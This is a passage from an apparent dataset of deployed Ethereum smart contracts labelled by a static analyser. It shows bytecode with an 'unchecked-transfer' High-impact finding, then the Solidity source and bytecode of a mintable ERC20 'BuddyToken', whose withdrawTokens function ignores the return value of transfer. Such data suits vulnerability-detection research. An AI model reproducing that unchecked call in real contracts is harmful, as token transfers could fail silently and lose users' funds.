0080fd5b600560009054906101000a900460ff161561098a576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a3257600080fd5b6000821115610b6d57610a526a52b7d2dcc80cd2e400000060045461151c565b821115610a625760009050610b72565b610aaa6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611535565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610af860045483611535565b6004819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610b72565b600090505b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bd357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c0e57600080fd5b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610cb657600080fd5b505af1158015610cca573d6000803e3d6000fd5b505050506040513d6020811015610ce057600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f424954000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e2b57600080fd5b600560009054906101000a900460ff1615610e495760009050610e56565b610e538383611553565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f3f57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610f7a57600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561117357600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156112005760009050611515565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561124f5760009050611515565b60008211801561128b57508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114ab57611316600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361151c565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113de6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361151c565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114686000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611535565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561152a57fe5b818303905092915050565b600080828401905083811015151561154957fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561159057600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156115df576000905061179f565b60008211801561161b57508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611735576116686000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361151c565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f26000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611535565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9291505056fea165627a7a723058201308c6b15b51aec408fc3db3cae3cd272554f6d18aec800ebce5502bd7b7fdb10029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 301 |
0x5b2073762788bee3434a804ebbbf3a801c3df82c | pragma solidity ^0.4.24;
// File: node_modules\openzeppelin-solidity\contracts\ownership\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: node_modules\openzeppelin-solidity\contracts\math\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules\openzeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: node_modules\openzeppelin-solidity\contracts\token\ERC20\BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: node_modules\openzeppelin-solidity\contracts\token\ERC20\ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: node_modules\openzeppelin-solidity\contracts\token\ERC20\StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: node_modules\openzeppelin-solidity\contracts\token\ERC20\MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: contracts\BuddyToken.sol
contract BuddyToken is MintableToken {
string public symbol = "BUD";
string public name = "Buddy";
uint8 public decimals = 18;
constructor() public {
}
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
//helps to recover stucked tokens
function withdrawTokens(ERC20 erc20, address reciver, uint amount) public onlyOwner {
require(reciver != address(0x0));
erc20.transfer(reciver, amount);
}
event Burn(address indexed burner, uint256 value);
} | 0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010c57806306fdde031461013b578063095ea7b3146101cb57806318160ddd1461023057806323b872dd1461025b578063313ce567146102e057806340c10f191461031157806342966c68146103765780635e35359e146103a3578063661884631461041057806370a0823114610475578063715018a6146104cc5780637d64bcb4146104e35780638da5cb5b1461051257806395d89b4114610569578063a9059cbb146105f9578063d73dd6231461065e578063dd62ed3e146106c3578063f2fde38b1461073a575b600080fd5b34801561011857600080fd5b5061012161077d565b604051808215151515815260200191505060405180910390f35b34801561014757600080fd5b50610150610790565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610190578082015181840152602081019050610175565b50505050905090810190601f1680156101bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d757600080fd5b50610216600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082e565b604051808215151515815260200191505060405180910390f35b34801561023c57600080fd5b50610245610920565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061092a565b604051808215151515815260200191505060405180910390f35b3480156102ec57600080fd5b506102f5610ce4565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031d57600080fd5b5061035c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cf7565b604051808215151515815260200191505060405180910390f35b34801561038257600080fd5b506103a160048036038101908080359060200190929190505050610edd565b005b3480156103af57600080fd5b5061040e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eea565b005b34801561041c57600080fd5b5061045b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611066565b604051808215151515815260200191505060405180910390f35b34801561048157600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f7565b6040518082815260200191505060405180910390f35b3480156104d857600080fd5b506104e161133f565b005b3480156104ef57600080fd5b506104f8611444565b604051808215151515815260200191505060405180910390f35b34801561051e57600080fd5b5061052761150c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057557600080fd5b5061057e611532565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105be5780820151818401526020810190506105a3565b50505050905090810190601f1680156105eb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561060557600080fd5b50610644600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115d0565b604051808215151515815260200191505060405180910390f35b34801561066a57600080fd5b506106a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117ef565b604051808215151515815260200191505060405180910390f35b3480156106cf57600080fd5b50610724600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119eb565b6040518082815260200191505060405180910390f35b34801561074657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a72565b005b600360149054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108265780601f106107fb57610100808354040283529160200191610826565b820191906000526020600020905b81548152906001019060200180831161080957829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561096757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109b457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a3f57600080fd5b610a90826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ada90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b23826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bf482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ada90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d5557600080fd5b600360149054906101000a900460ff16151515610d7157600080fd5b610d8682600154611af390919063ffffffff16565b600181905550610ddd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b610ee73382611b0f565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561102557600080fd5b505af1158015611039573d6000803e3d6000fd5b505050506040513d602081101561104f57600080fd5b810190808051906020019092919050505050505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611177576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120b565b61118a8382611ada90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561139b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a257600080fd5b600360149054906101000a900460ff161515156114be57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115c85780601f1061159d576101008083540402835291602001916115c8565b820191906000526020600020905b8154815290600101906020018083116115ab57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561160d57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561165a57600080fd5b6116ab826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ada90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061173e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061188082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ace57600080fd5b611ad781611cc2565b50565b6000828211151515611ae857fe5b818303905092915050565b60008183019050828110151515611b0657fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611b5c57600080fd5b611bad816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ada90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c0481600154611ada90919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611cfe57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e06040516